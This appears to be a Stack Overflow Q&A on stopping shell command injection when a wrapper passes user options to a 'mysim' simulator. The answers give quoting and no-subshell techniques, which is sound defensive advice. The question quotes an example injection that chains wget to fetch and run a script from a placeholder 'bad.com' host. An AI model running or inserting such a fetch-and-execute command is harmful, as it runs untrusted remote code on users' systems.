13

I have an wrapper application where I need to let the user specify custom options to pass to a simulator. However, I want to make sure the user doesn't inject other commands through the user options. What's the best way to accomplish this?

For example.

  • User provides: -a -b
  • Application executes: mysim --preset_opt -a -b

However, I don't want this to happen:

  • User provides: && wget http:\\bad.com\bad_code.sh && .\bad_code.sh
  • Application executes: mysim --preset_opt && wget http:\\bad.com\bad_code.sh && .\bad_code.sh

Currently, I'm thinking that I could simply surround every user provided option with single quotes ' and strip out any user-provided single quotes, so that the command in the last example would turn out to be a harmless:

mysim -preset_opt '&&' 'wget' 'http:\\bad.com\bad_code.sh' '&&' '.\bad_code.sh'

Note: The mysim command executes as part of a shell script in a docker/lxc container. I'm running Ubuntu.

  • Are you using eval to run the application? If not, the injection should not happen: x="&& echo Doomed" ; echo $x – choroba Jul 11 '13 at 14:31
  • 1
    No, I'm not using eval. I'm calling the executable mysim inside a shell script. I am seeing the injection happen if I simply copy the string of options that the user provides and paste it at the end of mysim command. – Victor Lyuboslavsky Jul 11 '13 at 14:49
  • Does the wrapper application copy and paste the string of options? – choroba Jul 11 '13 at 15:36
  • Yes, the user options come in as a single string, like -a -b. So I'm looking to ensure that additional commands aren't injected in that string. – Victor Lyuboslavsky Jul 11 '13 at 16:21
  • 1
    can you whitelist? only allowing characters [a-zA-Z0-9 _-] looks like a pretty defensive choice. – Ulrich Schwarz Jul 11 '13 at 17:17
6

If you have control over the wrapper program, then make sure that it doesn't invoke a subshell. Deep down, an instruction to execute a program consists of the full path (absolute or relative to the current directory) to the executable, and a list of strings to pass as arguments. PATH lookup, whitespace separating arguments, quoting and control operators are all provided by the shell. No shell, no pain.

For example, with a Perl wrapper, use the list form of exec or system. In many languages, call one of the exec or execXXX functions (or unix.exec or whatever it's called) rather than system, or os.spawn with shell=False, or whatever it takes.

If the wrapper is a shell script, use "$@" to pass down the arguments, e.g.

#!/bin/sh
mysim -preset-opt "$@"

If you have no choice and the wrapper program invokes a shell, you'll need to quote the arguments before passing them to the shell. The easy way to quote arguments is to do the following:

  1. In each argument, replace each occurrence of ' (single quote) by the four-character string '\''. (e.g. don't becomes don'\''t)
  2. Add ' at the beginning of each argument and also at the end of each argument. (e.g. from don't, don'\''t becomes 'don'\''t')
  3. Concatenate the results with a space in between.

If you need to do this in a shell wrapper, here's a way.

arguments='-preset-opt'
for x; do
  arguments="$arguments '"
  while case $x in
    *\'*) arguments="$arguments${x%%\'*}'\\''"; x=${x#*\'};;
    *) false;; esac
  do :; done
  arguments="$arguments$x'"
done

(Unfortunately, bash's ${VAR//PATTERN/REPLACEMENT} construct, which should come handy here, requires quirky quoting, and I don't think you can obtain '\'' as the replacement text.)

1

You can use Bash's ${VAR//PATTERN/REPLACEMENT} idiom to transform a single quote ' into '\'' by first putting '\'' into a variable (as an intermediate step) and then expanding this variable as the REPLACEMENT element in the mentioned Bash idiom.

# example 
{
str="don't"
escsquote="'\''"
str="'${str//\'/${escsquote}}'"
printf '%s\n' "$str"   #  'don'\''t'
}
0

You may use getopts in bash which can parse the arguments for you, e.g.:

while getopts a:b: opts; do
  case ${opts} in
    a)
      A=${OPTARG}
      ;;
    b)
      B=${OPTARG}
      ;;
  esac
done

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service, privacy policy and cookie policy

Not the answer you're looking for? Browse other questions tagged or ask your own question.